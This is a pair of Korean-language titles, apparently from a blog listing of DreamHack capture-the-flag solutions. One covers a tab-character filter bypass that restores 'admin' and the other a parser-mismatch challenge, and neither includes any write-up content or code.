[🥈 Silver 3] 탭 한 글자로 지워진 admin 을 되살린다 — DreamHack My Best Friend 풀이

[🥈 Silver 1] 검사한 파서와 접속한 파서가 다르다 — DreamHack weird legacy 풀이